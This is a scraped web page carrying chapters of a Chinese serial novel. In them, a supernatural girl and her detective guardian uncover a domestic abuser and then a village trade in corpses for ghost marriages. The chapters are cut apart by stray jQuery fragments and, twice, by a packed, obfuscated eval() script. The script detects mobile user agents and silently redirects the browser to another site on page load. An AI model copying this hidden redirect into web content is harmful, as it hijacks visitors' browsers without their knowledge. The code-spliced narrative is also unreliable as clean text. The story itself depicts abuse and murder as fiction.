$(''.inform'').remove(); $(''#content'').append('' 了这场暴力的轮回。 薛宓轻轻“啧”了一声。 真没意思。 连审判的价值都没有。 李国栋猛地抽搐,从幻境中惊醒。 冷汗浸透了他的后背,手铐冰冷的触感让他恍惚了一瞬。 自己还在审讯室。 刚才的小女孩就像自己的一场梦,而梦里的场景却让他记起了自己最痛苦最绝望的童年。 他痛苦地捂着脸,直到,贺黎筠推门而入,淡淡扫了他一眼:“走吧,去看守所。” 周一,李然伟照常上学。 周文娟辞去了原来的工作,在青江市找了份新工作,租了间离学校不远的房子。四年级转学对孩子影响太大,她决定陪孩子在这里读完小学,等升初中时再回原来的城市。 周五,校运会。 这段时间,他们找了新的摇绳手,但配合总是差了点默契。许是双方身高不匹配,练习时绳子甩得歪歪扭扭,连最基础的节奏都维持不住。 李然伟站在场边看了一会儿,突然小跑过去,主动接过绳子。 薛宓盯着他手腕上还没拆的绷带,眉头皱得紧紧的:“你的手……行吗?” 李然伟把绳子在掌心绕了两圈,试了试力道,抬起头时眼睛亮得像星星:“没事!” 他顿了顿,声音轻了些:“之前是怕耽误魔方比赛,才说不参加的……但现在我想参加!” 他扬起一个灿烂的笑,手腕用力一甩。 “啪!” 绳子重重拍打在地面,划出一道漂亮的弧线。 “还是我摇得有力吧!” 见他斗志昂扬,整个人自信的气场不同于往日,薛宓忍不住轻笑:“嗯,确实不错。” 团体跳绳是在下午,湛蓝的天空下,操场被晒得发烫,此起彼伏的加油声像浪潮一样涌来。李然伟站在绳端,绷带下的手腕还有些隐隐作痛,但他摇绳的动作却格外有力。 一下、两下—— “恭喜四年级二班获得团体摇绳第一名!” 广播声在操场上空回荡,周文娟站在人群边缘,视线穿过欢呼雀跃的孩子们,落在儿子身上。 ——那是她许久未见的笑容。 那么明亮,那么干净,仿佛所有阴霾都被今日的阳光蒸发殆尽。 她下意识抬手按住胸口,感受着掌心下加速的心跳。直到这一刻,她才真切地意识到: 那些噩梦般的日子,真的结束了。 她终于也轻轻地扬起了嘴角。 贺黎筠没想到自己有一天会以家长的身份参加小学的运动会。 其他家长都在为孩子加油鼓劲,他就见50米短跑,薛宓像一阵风般掠过终点线…… 立定跳远时,她轻盈得仿佛不受地心引力束缚……甚至4x400米接力跑,她都在队友落后整整一圈时,逆袭跑到了第一。 以她的能力,纯粹是在虐菜。但偏偏班主任和学生们都不知道她怪物的属性,像小英雄一样把她簇拥在了中间,七嘴八舌地夸赞着。 这次团体跳绳又是拿下第一,四年级二班几乎是毫无悬念地夺得了校运会总冠军。 远处,贺黎筠靠在树荫下,目光落在颁奖台上的薛宓身上。 她脖子上套着四块金牌,被同学们簇拥着,笑靥如花,像个再普通不过的小学生。 他忽然想起那天,他问她的一个问题:“李然伟……真的向你求救了?” 薛宓当时头也不抬,语气轻快:“有啊。” “如果他不想获救,干嘛要加入我的跳绳队?” 她歪着头,回忆了一下。 “我邀请他的时候,他答应得可快了。应该就是想让人注意到他,发现他手臂上的伤痕吧。” 想要求救,却又害怕真的把爸爸抓走,而犹豫不决…… 小孩子的心思,总是这么矛盾。 而薛宓,也总是这么矛盾。 她可以为了一个冰淇淋开心一整天,可以像个真正的学生一样在校运会上为班级争夺荣誉,像个真正四年级的孩子一样,那么明媚,那么快乐。 但她,却也能面不改色地将罪犯拖入最深的梦魇,冷眼旁观着人性的丑恶。 那么残忍和暴力。 “最后是家长和学生一起参加的五分钟投球游戏,有想要参加的吗?” 主持人的话音刚落,贺黎筠就看见薛宓的手“唰”地举得老高。 他顿时有种不祥的预感。 果然,这个在校运会上出名的学生被主持人点到了名字:“第一位有请四年级二班的薛宓同学和她的家长!” “大家可能不知道,薛宓同学的哥哥是位刑警同志,今天特意抽空来参加我们的校运会!让我们期待刑警同志的发挥!” 全场顿时响起热烈的掌声。 被驾到台面上的贺黎筠只能顶着众人期待的目光上场了…… 不就是接球吗?总不可能输给普通家长吧…… 然而,他顶着篮筐站在投球线后时,就见薛宓冲他露出了一个甜得发腻的笑容,手里拿着的竟不是普通的篮球,而是校运会特制的、地狱难度的水球。 五分钟内,接住五个水球不破,就能拿到终极大奖! “哥哥这么厉害,一定能接住水球的吧。” “喂,等等……” 话音未落,第一个水球已经偷袭而来。 贺黎筠条件反射地移动篮筐。多年训练经验令突袭而来的水球稳稳地落进了篮筐里,然而下一秒,“啪”的一声,水花四溅。 冰凉的水顺着他的刘海滴滴答答往下淌,将贺黎筠从头到脚淋了个透心凉。 他就知道,她是故意的! 全场爆发出哄笑,贺黎筠就见薛宓抱着水球没心没肺地凑了过来:“不好意思哥哥,是我太用力了。我这次轻点扔,我们再努力努力,接满五个水球,就能拿大奖了!” 她顿了顿,又有有些犹豫地嘀咕:“哥哥是刑警……不会……连五个水球也接不到吧?这么不行吗……” 不行?男人怎么能说不行……! 五分钟后,望着兴奋拿着巨型棕熊玩偶蹦过来的薛宓,全身湿漉漉的贺黎筠抹了把脸上的水,默默咬牙:下次,拿把刀架在他脖子上,都不会参加这该死的校运会了! 23.冥婚 接手这个班级才短短几个月,就接连爆发了两起令人揪心的大事,简直是李秋华任教以来最惊心动魄的一段时光。 每天走进教室前,她都要深吸一口气,生怕又有什么意外在等着她。批改作业到深夜成了常态,连梦里都是学生们向她求救的面孔。 以至于最近,天天都顶着黑眼圈上班…… 直到昨晚,她迎来了人生中最大的喜事。 ——她被求婚了! “我愿意。”当男友单膝跪地,将一枚闪耀的钻戒轻轻套上她的无名指时,她听见自己带着哭腔的声音,却比任何时候都要坚定。 甚至今早醒来时,都忍不住一次又一次地举起左手,在被子里开心地扭成一团。 也许生活就是这样,在给你重重考验之后,又悄悄送来一份甜蜜的惊喜。 就这样,冒着幸福泡泡的李秋华神采奕奕地走进教室。她今天特意换上了新买的连衣裙,连微卷的发梢都跳跃着欢快的弧度。 直到—— “你们有没有发现李老师今天特别漂亮,还戴了好大一个钻戒!” “哇,那李老师是不是要结婚了啊?” 无意间偷听到学生们的窃窃私语,李秋华下意识想用教案遮挡,却在学生们纯真地追问下,脸“唰”地红了。 她羞答答道:“嗯……老师的男朋友昨天……刚刚求婚……” “哇!”惊起一片小萝莉头的声音,几个调皮的男生开始起哄。其中一个小男孩连忙道:“所以昨天那个来接老师的帅哥,就是老师的男友?!” “嗯……”没想到偷偷约会居然被学生撞见了,李秋华的脸更是红到了耳根。 可明明在学生们起哄的声音下恨不能找个地缝钻进去,细若蚊蝇的声音里却藏不住半点甜蜜:“我们……准备三月份结婚……” “恭喜李老师!” 全班异口同声地祝福道,几个活泼的孩子甚至已经冲上讲台,七嘴八舌地问了起来。被孩子们簇拥着的李秋华,脸上的红晕还未褪去,就已经忍不住笑弯了眼睛。 薛宓歪着头,困惑地望着李秋华脸上掩不住的幸福笑容。 结婚……真的值得这么开心吗? 在她的记忆里,周文娟就是因为结婚,才过得那么惨……那个家暴犯李国栋,不就是她的丈夫吗?甚至因为披着一层家暴的外衣,家庭暴力就仿佛不是暴力了一样…… 正当她出神时,余光竟瞥见林美美正偷偷用袖子擦眼泪。 她有些懵:“你哭什么?” 林美美抽了抽鼻子,带着哭腔小声说:“李老师结婚后要是生小宝宝……就不能带我们上五年级了……我好喜欢李老师,不想换班主任……” 薛宓一时语塞。 但她,也不想换班主任。 突然,一个念头从她脑海中闪过——如果……李秋华的男朋友是个坏人呢? 就像李国栋那样。 那她就可以像对付李国栋一样,把他抓起来了! “帮我查查李秋华的男朋友,这个叫温世谦的男人?” 贺黎筠刚一到家,就收到薛宓发来的一张偷拍照。 照片里李秋华正和一个西装笔挺的男人十指相扣,笑容甜蜜。他眉头一皱,严肃地问:“是在这个男人身上看见黑雾了吗?” “没有。”薛宓撇撇嘴,“但你知道的,如果不觉得自己是犯罪,我是看不见他们身上的恶念,就像之前的李国栋。”她晃了晃脚,“所以你先帮我调查调查。” 薛宓肯定不会无缘无故让他调查一个人。 所以第二天,贺黎筠就把温世谦的底细查了个底朝天:35岁,金融行业普通职员,家世清白,和李秋华交往三年,感情一直很稳定,最近还成功求了婚。 “没查出问题。”贺黎筠狐疑地问,“是在他身上感觉到什么诡异的地方吗?他对李老师不好?有暴力或出轨的倾向?” “那倒没有……”薛宓垮着小脸,“他对李秋华挺好的。所以他们三月就要结婚了!” “结婚不好吗?” 薛宓用力点头道:“林美美说,李老师结婚后要是生宝宝……就不能带我们上五年级了!” 贺黎筠后知后觉反应过来:“……你不想换老师?” “当然。”李秋华经常夸她,还会给她和林美美小零食,林美美也喜欢她,她不想换班主任。 贺黎筠才意识到薛宓小孩子的心理,叹了口气道:“首先,结婚不等于马上就有孩子,就算怀孕也要九个月,李老师应该能带完你们五年级。其次……” 他蹲下身平视薛宓,“你应该祝福李老师找到幸福,而不是把她的未婚夫预设成坏人。不是每段婚姻都像李然伟父母一样,那么不幸。” 薛宓鼓起包子脸:“知道啦知道啦。我不也是担心吗……” 话一说出口,她突然一怔,瞳孔微微收缩。 ——担心? 她居然在担心一个人类? 按照往常,她大可以等黑雾出现后再吞噬。为什么要提前介入?为什么要提前假设对方是坏人? 这种莫名其妙的“担心”,简直像人类一样多余…… 意识到自己竟然产生了这种多余的情绪,薛宓的眉头越皱越紧,竟一下子对李秋华的婚事失去了兴趣。 寒假转瞬而至。 春节前夕,青江市刑警支队接到一起离奇报案。 “我妈和老婆的坟被人挖了!” 报警人声音发抖,愤怒中夹杂着恐惧。他去祭拜去年刚去世的妻子和母亲时,发现两座坟的泥土有明显翻动的痕迹。挖开一看,棺中尸骨竟不翼而飞! “我们村隔壁就是西津县,那边冥婚盛行,未婚男性的家属会花高价买女尸配阴婚,盗尸行为也非常猖獗。”报警人咬牙切齿,“之前就有个自称灵媒的女人找上门,问我愿不愿意卖我老婆的遗体……正常人谁会干这种事?我当场把她轰走了!没想到,他们竟然直接偷!” ——盗尸配冥婚。 听起来荒诞不经,却在某些闭塞的村落里真实存在。 未婚死者不得入祖坟的禁忌,在这些落后的农村根深蒂固。 那些失了儿子的父母,总觉得孩子年纪轻轻就走了,在下面孤零零的,可怜。他们宁愿掏空积蓄,也要给死去的儿子“娶”个媳妇,好像这样,就能让他在那边有个家。 就算有村民不想办,村里也会有人在私下嘀咕,说不成家的孤魂怨气重,若不让亡者“成家”,孤魂便不得安宁,甚至化作厉鬼,给家族带来灾祸。于是,“配冥婚婚”成了安抚亡灵的必需仪式。 哪怕,这套迷信早被明令禁止,这旧俗也如风吹不尽的野草,总在暗处悄然滋生。 一番初步调查后,青江市刑警支队立刻将目标锁定在案发地周边仍保留冥婚习俗的村落——福寿村、福安村、永兴村。 贺黎筠、楚子琦和槿菁三人为一组,被分派到了福寿村。 福寿村,村如其名,曾是个长寿之乡。 可不知从什么时候起,村里的光棍越来越多,年轻人的死亡率也逐年攀升。 ——不是意外,就是自杀。 渐渐地,年轻一辈宁可在外漂泊也不愿回来,村子日渐凋零,只剩下些老人和娶不上媳妇的光棍守着祖屋。 所以,三个外乡人,尤其是两个年轻男性突然来访,实在是太过显眼。 贺黎筠便提议:“你们俩假扮视频博主,借口拍摄一些乡村怪谈,在采访中自然地把话题往冥婚风俗上引。重点要表现出对这种习俗的好奇,让村民主动透露尸体买卖的线索。记住,千万别直接问,要让他们自己说漏嘴。” 前段时间,就有灵异博主在西津县别的村落体验过赶尸,导致各路猎奇博主蜂拥而至西津县,举着手机拍一些山村鬼事。 楚子琦若有所思地点点头:“明白,就是装成那些猎奇的精神小伙,我去关注几个同类账号研究下话术,争取演得像一点。” 槿菁却困惑地问:“贺哥,你呢?不和我们一起吗?” “我带薛宓,伪装成来寻亲的。就说薛宓的妈妈几年前改嫁到福寿村,现在想来认亲。农村宗族观念重,带着孩子上门认亲,比一个陌生男人瞎转悠更不容易惹人怀疑。” “可带着孩子进村查案……会不会太危险?万一遇到突发状况……”槿菁欲言又止。 “我们只是前期摸排。如果真发现线索,立即撤出并联系当地警方联合行动。” “放心。”贺黎筠喉结滚动了一下,又低声补充道,“我会……时刻看紧她的。” 只有他知道薛宓的危险性。 也只有他最清楚,薛宓她本身……就是最精准的“恶念探测器”。 如果连她都看不出这个村子有问题……那福寿村就真的只是一座普通村落,可以彻底排除嫌疑。 但—— 如果她看见了什么…… 指节敲击着方向盘,贺黎筠的目光下意识地瞥向坐在副驾驶座晃着腿的薛宓。 她正趴在车窗上,百无聊赖地望着窗外掠过的田野,看起来就像个普通的小学生。 “那边……”她突然出声,指尖轻轻点在玻璃上,“在烧东西。” 贺黎筠顺着她指的方向望去。 远处的田埂边,几个披麻戴孝的人正围着一顶纸扎的花轿。 花轿做工粗糙,却装饰着鲜艳的红绸,在灰蒙蒙的冬日里显得格外刺眼。一个纸糊的“新娘”歪斜地坐在轿中,惨白的脸上画着夸张的腮红。 而轿前的坟地里则有一口刺目的大红棺材。棺盖半开,隐约可见里面躺着一具青年男人的尸骨,一个神婆模样的老妇人正用米粒和面粉,仔细地塞满尸骨空洞的眼窝、耳洞和口腔。 她每塞一把,就念念有词:“耳聪目明,口能尝味,来世享福……” 贺黎筠皱了皱眉,没想到来福寿村的第一天就撞见了冥婚现场…… 潮湿的泥土混着纸钱焚烧的焦味,在寒风中弥漫开来,他就听薛宓轻嗤一声:“这个村子,好吵啊……” “有黑雾?”他下意识问。 薛宓没有回答,只是定定地望着远处的坟地。在她的视野里,整个村子的坟头都翻涌着浓稠的黑气,像无数挣扎的怨魂纠缠在一起。 “我不要嫁人!放我出去……”一个少女的幽怨哭声传来,“为什么我都自杀了……还不放过我……连我的尸体……都要卖掉……” “是他们杀了我!”另一个凄厉的声音尖叫,“为了配冥婚杀了我!” “呜呜呜……爸爸妈妈救救我……呜呜呜……” 凄厉的哭嚎在薛宓耳边此起彼伏,她微微眯起眼,唇角勾起一抹冷笑:“冤死的、被害死的鬼倒是挺多的。看来不只是盗了尸体那么简单。” 贺黎筠心头骤然一沉。 在阴婚产业中,女性尸骨是明码标价的商品。越是年轻貌美、学历高的新鲜尸体,价格越惊人。一具刚离世的“新娘”,起价就是15万。 有交易,就有市场。 有市场,就有产业。 有产业,就必然滋生罪恶。 已婚女性的尸骨被娘家人偷偷挖走配阴亲;父母为争夺女儿尸体的冥婚归属对簿公堂;92岁高龄未婚无子女的老太也在死后被两个侄女配冥婚……甚至有些人为了钱,不择手段,将智障女子拐骗后,冒充其亲属,将她们卖给需要配冥婚的家庭…… 那些躺在交易清单上的“新娘”,在那群人眼里,只是待价而沽的商品。 而现在,薛宓口中“被害死的鬼”更证实了他最坏的猜想…… 这个村子买卖女尸的勾当,早已从盗墓偷尸,发展成了更丧心病狂的罪行——杀人卖尸。 “合葬——!” 神婆沙哑的吟唱打断了贺黎筠的思绪,他就见一名泪眼婆娑的妇人从花轿里小心翼翼地捧出一个扎着红绸的骨灰盒,放在了那具男性尸骨之旁。 “咚!咚!咚!” 在一声声钉棺的锤声中,大红的棺材盖被重重地合上。火盆里的纸钱随着唢呐声越烧越旺,腾起的黑烟扭曲着升向天空,就像一条条挣扎的魂魄。 车子缓缓驶离阴森的冥婚现场,拐过几个田埂后,前方突然热闹起来,只见村里正摆着流水席,三三两两的村民酒足饭饱后围坐着闲聊。 “哎,我就晚了一步。媒人给我介绍了个19岁的姑娘,开价十八万,但已经火化了。我犹豫着跟老婆商量了下,再打电话过去,人家已经配给别人儿子了!” “要我说啊,要不是火化了,像这样年轻漂亮的女孩,卖个二十五万都有人抢着要!” “是啊,那女孩的照片我看过,大眼睛白皮肤,长的可漂亮了,跟我家儿子同岁,还是个大学生,多般配啊!” “张青花他儿子都死了三年,她也就今天才给儿子办了婚礼。你有的好等了……” “哎,这年头女孩子怎么这么少啊……” 这时,忽然见外牌车辆开了过来。想到隔壁村忽然来了很多网红,村子直播带货跟着大赚了一笔,几个老汉不禁好奇地上前打量。 贺黎筠立刻换上憨厚的笑容,牵着薛宓下了车:“叔,我带侄女来认亲。她爸刚过世,听说她妈王屏芳几年前改嫁到这儿……不知道您们认识不?” “王屏芳?”老汉咂吧着烟摇头,“没听过这名儿。” 另一位老汉热情道:“小伙子,天快黑了,要住店不?俺家开民宿的,便宜,还管饭。” “谢谢叔,我们是打算住上几天,麻烦您了。” 当晚,贺黎筠就把冥婚现场的情况同步给了楚子琦他们,并叮嘱他们明天来时,也住在同一家民宿。 谁知第二天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593657|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晨,贺黎筠被一阵夸张的直播声吵醒。 推开窗就见,楚子琦穿着荧光绿潮牌卫衣,戴着能遮住半张脸的墨镜,正拖着贴满贴纸的行李箱在院子里直播:“家人们,现在主播身后就是福寿村的民宿!今晚就带你们沉浸式体验一下乡村之夜!有什么想要看的内容都可以扣在弹幕里,点赞破十万我直接夜闯后山坟场!” 几步外,槿菁则化着精致的网红妆,戴着兔耳朵发箍,对着镜头比心:“宝宝们想不想看更多乡村风情?礼物刷起来就带你们探索神秘古村哦~” “……” 贺黎筠的太阳穴突突直跳。他原以为这种浮夸的装扮和演技会惹人怀疑和厌烦,没想到,村民们都以为他们是大网红,七嘴八舌地围了上来。 楚子琦乘势问道:“叔叔阿姨们,弹幕都在问啊,咱们福寿村有没有那种超刺激的民俗?比如赶尸啊、冥婚什么的?我粉丝就好这口重口味的……所以村里如果有什么灵异事件能拍就好了。” “有有有!” 在常人眼中荒诞不经的封建迷信,对福寿村的村民来说,却稀松平常。 甚至,在听到粉丝都爱看这种时,竟真心觉得这或许真能成为招揽游客的“特色项目”。他们年纪都大了,玩不来年轻人那些网上的娱乐方式,若能收取游客观看冥婚现场的费用,说不定还能减轻一些购买女性尸体的费用。 “咱村的神婆可比隔壁村的灵验多了!” “哎呀,你们真是晚来了一天,张青花刚给儿子配了一个女大学生,昨天刚举办完婚礼……” “小伙子,能教教我怎么开直播吗?年轻人真的喜欢看这种吗?哎,我儿子在县里娶了个媳妇,就再也没有回来过,这手机什么的我都弄不来……” 楚子琦和槿菁对视一眼,在村民热情的“爆料”中,悄悄按下了录音键。于是一天下来,两人的手机里已经存满了令人毛骨悚然的“民俗素材”。 “查过了,最近村里只有张青花家办了冥婚,就是你们昨天看到的那场。” 楚子琦皱了皱眉补充:“但据张青花说,她买的是个19岁的姑娘,年龄对不上孙鹤明的妻子和母亲。而且她还十分自豪地说,自己是通过正规渠道购买的,有死亡证明。十八万花得很值,说村里人都羡慕死她了。” “死亡证明可以伪造。”贺黎筠冷笑,“卖尸体的人,什么谎编不出来?而且买卖尸体哪有什么正规渠道。” 在这里,没人觉得买卖尸体是犯罪。甚至买的女尸越便宜,还越遭人羡慕。 当罪恶披上传统的外衣,才最令人胆寒。 只是短短一日的调查,他们就锁定了一个关键人物——张春梅,曾经的媒婆,如今的灵媒,专门牵线搭桥福寿村里的阴间婚事。 第三日,贺黎筠独自带着薛宓登门拜访。 “张阿姨好。” 他佯装局促地搓着手,从怀里掏出一个小红包递了过去,“我嫂嫂王屏芳五六年前改嫁到这儿……听说您是村里的媒婆,不知道有没有听过这个名字?” “王屏芳?”张春梅理所应当地收下红包后,皱着眉思索了片刻,“没听过这名儿。有照片吗?” “有有。” “你把照片和详细信息发给我,我帮你发到各村的群里。不过要是真找到人…… “懂的懂的!”贺黎筠连忙点头,“有线索就给一千,找到人另有重谢!” 张春梅满意地点头:“来,小伙子,扫我这个二维码。” 顺理成章要到了张春梅的微信,贺黎筠立刻转发给了技术科的同事,附上一句:【重点监控,要所有聊天记录和联系人名单】 【收到!】 第五日傍晚,暮色沉沉。 张春梅挎着布包,眉头紧锁地从村口踱步回来。 她刚接了个“大单”。 邻市一户有钱人家的独子,九岁夭折,父母悲痛欲绝,开出五十万高价,要配一具“新鲜”的同龄女尸。 要求还特别详细——必须面容清秀,不能有破损;要全尸,不能是骨灰盒;还得先过目照片,满意才能交易。 难办,但钱是真的多。 张春梅烦躁地搓着手指。最近风声紧,挖坟盗尸容易被发现,可活人又不好下手…… 正发愁时,她忽然瞥见田埂边坐着个熟悉的小身影。 是前两天那个来寻亲的红裙子小姑娘! 此刻,她正孤零零地蹲在田埂边,肩膀一抽一抽的,像是在哭。 她下意识搓了搓衣角,左右张望——那个自称来寻亲的男人不在附近。 走丢了? 张春梅的呼吸突然急促起来,立刻挤出最慈祥的笑容凑过去:“小妹妹……怎么一个人在这儿哭呀?你舅舅呢?” 小姑娘抬起泪汪汪的小脸,抽噎着说:“和、和舅舅走散了……” 真的走散了?! 走散了好啊! 张春梅的心扑通扑通跳得贼快。她努力稳住呼吸,朝小姑娘伸出手,声音刻意放得又轻又柔:“那跟奶奶回家好不好?奶奶有你舅舅的微信,帮你联系他……” 望着针孔摄像头传来的实时视频,躲在暗处用望远镜监视的楚子琦,紧张道:“楚哥,这太危险了!万一,薛宓真出什么事怎么办?还是算了吧。” 贺黎筠这个计划根本没跟他们商量,要是早说了,他们绝对会反对。但现在嫌疑人已经上钩,贸然现身只会打草惊蛇……他们只能让贺黎筠装作找孩子过去救人。 “不用担心。买家要求全尸不能有破损,张春梅只可能下毒。而在交易前,要求先过目照片,所以在确定交易前,张春梅绝不会真的动手。而且,我叮嘱过薛宓,她不会喝任何东西的。” “可……”槿菁同样急得团团转,“楚哥你这样太过分了!说好的前期摸排,发现线索就撤出联系当地警方联合行动呢?你再怎么急着破案也不能用孩子当诱饵啊!我也是女的,完全可以让我去当啊……” 这纯属冤枉贺黎筠了…… 这件事从头到尾,都是薛宓蠢蠢欲动地想要去做,贺黎筠拦都拦不住。只能顺着她的计划,让她亲自接近张春梅,但约法三章,必须完全听从指挥,确保张春梅人赃俱获、绳之以法。 但现在,他怎么解释都解释不清,只能在同事们愤怒的目光下,无奈地背了黑锅。 就在这时,贺黎筠的手机响起了震动,只见屏幕上接连跳出了几条微信消息: 福寿缘婚介张姨:【王老板您瞧瞧,这是我帮您公子寻到的同龄的女童。】 【(照片)(照片)(照片)】 【小姑娘是先天性心脏病,今早刚走的,生得那叫一个水灵,皮肤白得跟雪似的,睫毛又长又密,和您公子真是天造地设的一对儿!(玫瑰)(玫瑰)(玫瑰)您若看中这姑娘的话,我就为您留着,这品相绝对值五十万!(爱心)】 24.鬼媒 张春梅原本只是福寿村一个再普通不过的媒婆,专门给活人说亲。 这些年来,福寿村的女娃越来越少——年轻的往外嫁,年长的往外跑,村里剩下的尽是些讨不着媳妇的老光棍。说媒的生意,是一年比一年难做了。 直到有一日,一户人家找上门来。 “我家儿子走得早,还没娶媳妇……您能不能给他在阴间寻门亲事?” 那母亲泪眼婆娑地递过照片,是个眉清目秀的小伙子,二十出头,死于车祸。 张春梅看着照片,心里惋惜地想:多俊俏的孩子,要是活着,肯定能说个好姑娘……自己要是能给他配个好婚事,也算是积了阴德。 更何况,这钱可比说活人亲事赚得多多了。 从那以后,张春梅开始留心十里八村的丧事。但凡听说谁家有年轻女孩去世,她立刻上门说媒,生怕晚一步就被别人抢先。 就这么做了五年后,张春梅手里已经攥着好几条“线”。 医院、太平间、殡仪馆、棺材铺、丧葬鼓乐班子……她一个个打点过去,每提供一条“新娘”的消息,中间人就能拿到一两千的好处费。 可这一年,随着女尸的稀缺,张春梅的生意越来越难做了。 好不容易有个大户人家的独子意外身亡,家里放出话来:“只要年龄相当,价钱好商量!” 她费尽周折,托关系从外地搞来一具女尸,本以为十拿九稳,结果邻村的灵媒,竟找来了一具刚死的女尸! 起初,张春梅还以为对方是运气好,可后来从殡仪馆的线人那里听说…… 那具“新娘”,是被人拐来的智障女性……活活弄死后,再高价卖出去的。 张春梅吓得几晚没睡好。 她胆子小,还不敢做这种事。 可偏偏,就在她刚准备转卖给村里另一户人家时,邻村的灵媒又抢先一步。 还是新鲜的女尸。 听说是个二十出头的姑娘,父母收了隔壁村一个四十岁老光棍四十万彩礼,逼她嫁人。姑娘不肯,被父母锁在家里,最后……一根麻绳吊死了自己。 原以为这样就不会被父母逼迫着嫁给自己不喜欢的人,结果尸体还没凉透,灵媒就上门了。 卖了二十八万。 次数多了,看着别人轻轻松松赚大钱却一点事情都没有,张春梅心里免不了有些蠢蠢欲动。 凭什么别人能赚这种钱? 凭什么她就只能捡别人剩下的? 所以,她也对她的买家撒了谎。 她卖给张青花的骨灰根本不是十九岁的大学生,而是她托关系盗来的骨灰,年龄四十岁的已婚妇女。 已婚妇女的骨灰最多只能卖五万,但未婚且是大学生的骨灰,却能卖到十八万。 价格足足翻了三倍不止。 而现在,她又有了大单,整整五十万!算是她做冥婚生意以来,最大的一笔买卖。她自然不可能让邻村那个老虔婆再抢走自己的生意。 为了帮薛宓寻亲,张春梅当时就给她拍过照片。这小姑娘长得实在水灵——鹅蛋脸、杏眼含笑,说话轻声细语,看着就招人喜欢…… 可惜了。 谁让她偏偏和舅舅走丢了呢? 收到王老板【很满意】的回复后,张春梅笑得合不拢嘴,立刻回道:【验货前,需收20%定金。】 十万块迅速到账。 她回复:【今晚19点,在平安殡仪馆验货。】 西津县的殡仪馆,看似是处理逝者遗体的正规场所,实则早已成为罪恶滋生的温床。而平安殡仪馆,更是这一带出了名的“特殊货源”中转站。 盗挖的尸骨、来历不明的“新鲜货”……在这里,一切都能被重新“包装”,附上伪造的身份证明。 确认交易后,张春梅笑眯眯地给薛宓端了杯果汁:“联系上你舅舅了,他现在有些事等会儿就来。” 这是她第一次买卖活人,自然不敢直接下死手。所以这杯果汁里,只加了让人昏睡的药物。 望着小姑娘毫无防备地喝下,很快在药力作用下失去意识,张春梅松了口气。 没一会,她就给薛宓换上了早上出门时刚买的一套红色嫁衣,随后又去棺材铺挑了具红棺,将人放了进去,塞进了面包车的后备箱。 一切准备就绪后,她开车前往了殡仪馆。 随着山路颠簸,红棺在后备箱里微微晃动。棺材内,薛宓摸出藏在袖中的手机——她刚才趁着张春梅离开时,从裙子的口袋里拿的。 张春梅急着交易,显然没想到,她的鞋子上有针孔摄像头,她的裙子还有着口袋。 此刻,屏幕的冷光映亮着她毫无血色的小脸,她皱着眉打字:【头晕,想吐。】 贺黎筠:【……你真的喝了果汁?】 魔法少女小宓:【没,她一走就吐了。晕车……(可怜)(可怜)(可怜)我讨厌关在盒子里,让我心情非常、非常不爽。】 魔法少女小宓:【你们能晚点来吗?张春梅的恶念还不够黑。】 贺黎筠:【不行。他们现在觉得我是人渣,恨不得立刻冲过去。】 聊天间,车身猛地一顿。 薛宓迅速回了个【到了】,就将手机重新塞回了袖口。 另一边,贺黎筠举着手机,在同事们杀人的目光中硬着头皮解释:“薛宓,刚给我报平安。我们按原定计划行事。” 平安殡仪馆。 张春梅轻车熟路地将红棺推进停尸房三号间。这是唯一一间监控被“处理”的停尸房。 停尸房里冷气森森,薛宓躺在棺中,就听到外面响起阵阵凄厉的呜咽:“呜呜呜呜呜呜……” 确认张春梅离开后,她一把推开棺盖。冷白的灯光刺得她眯起眼,就见自己的红棺旁,并排躺着一个盖着白布的年轻女尸,和一口同样盖紧的红棺。 那具女尸青白的脸上青一块紫一块的,白布半掩的肩膀和手臂上,新旧伤痕层层叠叠——烟头烫出的圆疤、皮带抽出的紫痕、指甲抓挠的血道…… 而那呜咽的声音,就来自于尸体之上,一个半透明的身影,正哭得不能自已。 “你是被人打死的吗?” 突然听到声音,女鬼猛地僵住:“你……你看得见我?!” “嗯。”薛宓跳下棺材,好奇地打量着她,“身上这么多伤,配冥婚也卖不上好价钱吧?” 被薛宓直白的话震住,女鬼突然崩溃,哭得更凶:“我……我是因为生不出孩子……被我丈夫和我婆婆活活打死的!没想到火化前,娘家已经给我配好了冥婚……” 她泣不成声,断断续续地诉说: 她叫宋方瑜。第一次被家暴时,她就想要离婚。可娘家人死死拦着,都让她再忍忍。说她不孕,就算离婚也没有人要她…… 饿饭、殴打、罚站…… 这一忍,就是三年。直到被婆婆用擀面杖活活打死。 昨天,婆婆自首后,丈夫立刻出具了谅解书,又给娘家塞了二十八万赔偿金。娘家竟也出具了谅解书…… 就在她的尸体旁,他们已经谈论起上一个被家暴虐待死的案件,丈夫和公婆也就以虐待罪判了两到三年……出了谅解书,丈夫说不定还能直接缓刑。他们根本不怕所谓的坐牢。 而比起夫家的冷血,宋方瑜更不敢相信的是,她才刚死一天,尸体都还未火化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602782|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,娘家竟已联系好了冥婚。 因身上伤痕太多,一看就是被活活打死的,对买家来说有些忌讳,媒人那边就建议直接火化了再卖,也就在刚才,她的父母在这里以八万的价格把她的尸体成交了出去。 结婚时彩礼三十八万,死后赔偿金二十八万,最后骨灰又卖出了八万…… 这些钱,一分不少地流进了哥哥的账户,全都用来给他盖房子娶媳妇。 从被迫嫁人,到被迫生育,再到被虐致死,最后连骨灰都被明码标价。 她的一生,被至亲之人用各种方式,吃得干干净净。 